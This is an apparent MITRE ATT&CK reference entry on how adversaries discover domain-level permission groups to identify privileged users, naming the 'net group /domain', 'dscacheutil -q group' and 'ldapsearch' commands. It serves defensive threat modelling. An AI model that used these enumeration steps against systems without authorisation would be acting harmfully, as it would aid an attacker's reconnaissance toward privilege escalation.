Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Commands such asnet group /domain
of the [Net](https://attack.mitre.org/software/S0039) utility,dscacheutil -q group
on macOS, andldapsearch
on Linux can list domain-level groups.
